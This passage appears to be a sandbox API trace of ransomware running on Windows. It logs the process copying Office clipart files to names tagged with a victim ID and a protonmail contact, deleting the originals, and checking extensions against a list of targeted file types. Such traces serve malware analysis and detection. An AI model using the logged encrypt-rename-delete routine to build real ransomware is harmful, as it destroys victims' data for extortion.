	[0090.860] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xed4, lpOverlapped=0x0) returned 1
	[0090.861] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xee0, lpOverlapped=0x0) returned 1
	[0090.862] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.862] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.862] SetEndOfFile (hFile=0x300) returned 1
	[0090.862] CloseHandle (hObject=0x300) returned 1
	[0090.862] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.862] SetEndOfFile (hFile=0x350) returned 1
	[0090.863] CloseHandle (hObject=0x350) returned 1
	[0090.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0090.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 1
	[0090.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0090.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0090.864] lstrlenW (lpString=".doc") returned 4
	[0090.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.864] lstrlenW (lpString=".docx") returned 5
	[0090.864] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.864] lstrlenW (lpString=".pdf") returned 4
	[0090.864] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.864] lstrlenW (lpString=".xls") returned 4
	[0090.864] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.864] lstrlenW (lpString=".xlsx") returned 5
	[0090.864] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.864] lstrlenW (lpString=".ppt") returned 4
	[0090.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0090.864] lstrlenW (lpString=".zip") returned 4
	[0090.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.864] lstrlenW (lpString=".rar") returned 4
	[0090.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.864] lstrlenW (lpString=".bz2") returned 4
	[0090.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.864] lstrlenW (lpString=".7z") returned 3
	[0090.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0090.864] lstrlenW (lpString=".dbf") returned 4
	[0090.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0090.864] lstrlenW (lpString=".1cd") returned 4
	[0090.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0090.864] lstrlenW (lpString=".jpg") returned 4
	[0090.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0090.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0090.864] lstrlenW (lpString=".doc") returned 4
	[0090.864] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.864] lstrlenW (lpString=".docx") returned 5
	[0090.864] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.865] lstrlenW (lpString=".pdf") returned 4
	[0090.865] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.865] lstrlenW (lpString=".xls") returned 4
	[0090.865] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.865] lstrlenW (lpString=".xlsx") returned 5
	[0090.865] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.865] lstrlenW (lpString=".ppt") returned 4
	[0090.865] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0090.865] lstrlenW (lpString=".zip") returned 4
	[0090.865] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.865] lstrlenW (lpString=".rar") returned 4
	[0090.865] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.865] lstrlenW (lpString=".bz2") returned 4
	[0090.865] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.865] lstrlenW (lpString=".7z") returned 3
	[0090.865] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0090.865] lstrlenW (lpString=".dbf") returned 4
	[0090.865] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0090.865] lstrlenW (lpString=".1cd") returned 4
	[0090.865] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0090.865] lstrlenW (lpString=".jpg") returned 4
	[0090.865] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.865] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0090.865] lstrlenW (lpString="DD01179_.WMF") returned 12
	[0090.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0090.866] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2024) returned 1
	[0090.866] CloseHandle (hObject=0x350) returned 1
	[0090.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x220
	[0090.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0090.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0090.866] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.866] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0090.867] GetLastError () returned 0x0
	[0090.867] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x7e8, lpOverlapped=0x0) returned 1
	[0090.868] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x7f0, lpOverlapped=0x0) returned 1
	[0090.869] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0090.869] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0090.869] SetEndOfFile (hFile=0x300) returned 1
	[0090.869] CloseHandle (hObject=0x300) returned 1
	[0090.869] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0090.869] SetEndOfFile (hFile=0x350) returned 1
	[0090.870] CloseHandle (hObject=0x350) returned 1
	[0090.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0090.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 1
	[0090.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0090.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0090.871] lstrlenW (lpString=".doc") returned 4
	[0090.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.871] lstrlenW (lpString=".docx") returned 5
	[0090.871] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.871] lstrlenW (lpString=".pdf") returned 4
	[0090.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.871] lstrlenW (lpString=".xls") returned 4
	[0090.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.871] lstrlenW (lpString=".xlsx") returned 5
	[0090.871] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.871] lstrlenW (lpString=".ppt") returned 4
	[0090.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0090.871] lstrlenW (lpString=".zip") returned 4
	[0090.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.871] lstrlenW (lpString=".rar") returned 4
	[0090.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.871] lstrlenW (lpString=".bz2") returned 4
	[0090.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.871] lstrlenW (lpString=".7z") returned 3
	[0090.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0090.871] lstrlenW (lpString=".dbf") returned 4
	[0090.871] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0090.871] lstrlenW (lpString=".1cd") returned 4
	[0090.871] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0090.871] lstrlenW (lpString=".jpg") returned 4
	[0090.871] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0090.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0090.872] lstrlenW (lpString=".doc") returned 4
	[0090.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0090.872] lstrlenW (lpString=".docx") returned 5
	[0090.872] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0090.872] lstrlenW (lpString=".pdf") returned 4
	[0090.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0090.872] lstrlenW (lpString=".xls") returned 4
	[0090.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0090.872] lstrlenW (lpString=".xlsx") returned 5
	[0090.872] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0090.872] lstrlenW (lpString=".ppt") returned 4
	[0090.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0090.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0090.872] lstrlenW (lpString=".zip") returned 4
	[0090.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0090.872] lstrlenW (lpString=".rar") returned 4
	[0090.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0090.872] lstrlenW (lpString=".bz2") returned 4
	[0090.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0090.872] lstrlenW (lpString=".7z") returned 3
	[0090.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0090.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0090.872] lstrlenW (lpString=".dbf") returned 4
	[0090.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0090.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0090.872] lstrlenW (lpString=".1cd") returned 4
	[0090.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0090.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0090.872] lstrlenW (lpString=".jpg") returned 4
	[0090.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0090.873] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0090.873] lstrlenW (lpString="DD01180_.WMF") returned 12
	[0090.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0091.518] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2084) returned 1
	[0091.518] CloseHandle (hObject=0x370) returned 1
	[0091.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x220
	[0091.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0091.523] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.523] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374
	[0091.524] GetLastError () returned 0x0
	[0091.524] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x824, lpOverlapped=0x0) returned 1
	[0091.525] WriteFile (in: hFile=0x374, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x830, lpOverlapped=0x0) returned 1
	[0091.526] ReadFile (in: hFile=0x350, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.526] WriteFile (in: hFile=0x374, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.526] SetEndOfFile (hFile=0x374) returned 1
	[0091.526] CloseHandle (hObject=0x374) returned 1
	[0091.526] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.526] SetEndOfFile (hFile=0x350) returned 1
	[0091.527] CloseHandle (hObject=0x350) returned 1
	[0091.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0091.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 1
	[0091.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0091.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0091.527] lstrlenW (lpString=".doc") returned 4
	[0091.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.528] lstrlenW (lpString=".docx") returned 5
	[0091.528] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.528] lstrlenW (lpString=".pdf") returned 4
	[0091.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.528] lstrlenW (lpString=".xls") returned 4
	[0091.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.528] lstrlenW (lpString=".xlsx") returned 5
	[0091.528] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.528] lstrlenW (lpString=".ppt") returned 4
	[0091.528] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0091.528] lstrlenW (lpString=".zip") returned 4
	[0091.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.528] lstrlenW (lpString=".rar") returned 4
	[0091.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.528] lstrlenW (lpString=".bz2") returned 4
	[0091.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.528] lstrlenW (lpString=".7z") returned 3
	[0091.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0091.528] lstrlenW (lpString=".dbf") returned 4
	[0091.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0091.528] lstrlenW (lpString=".1cd") returned 4
	[0091.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0091.528] lstrlenW (lpString=".jpg") returned 4
	[0091.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0091.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0091.528] lstrlenW (lpString=".doc") returned 4
	[0091.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0091.528] lstrlenW (lpString=".docx") returned 5
	[0091.528] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0091.529] lstrlenW (lpString=".pdf") returned 4
	[0091.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0091.529] lstrlenW (lpString=".xls") returned 4
	[0091.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0091.529] lstrlenW (lpString=".xlsx") returned 5
	[0091.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0091.529] lstrlenW (lpString=".ppt") returned 4
	[0091.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0091.529] lstrlenW (lpString=".zip") returned 4
	[0091.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.529] lstrlenW (lpString=".rar") returned 4
	[0091.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.529] lstrlenW (lpString=".bz2") returned 4
	[0091.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.529] lstrlenW (lpString=".7z") returned 3
	[0091.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0091.529] lstrlenW (lpString=".dbf") returned 4
	[0091.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0091.529] lstrlenW (lpString=".1cd") returned 4
	[0091.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0091.529] lstrlenW (lpString=".jpg") returned 4
	[0091.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.529] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0091.529] lstrlenW (lpString="DD01631_.WMF") returned 12
	[0091.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0091.530] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=552) returned 1
	[0091.530] CloseHandle (hObject=0x350) returned 1
	[0091.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf")) returned 0x220
	[0091.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0091.530] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.530] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
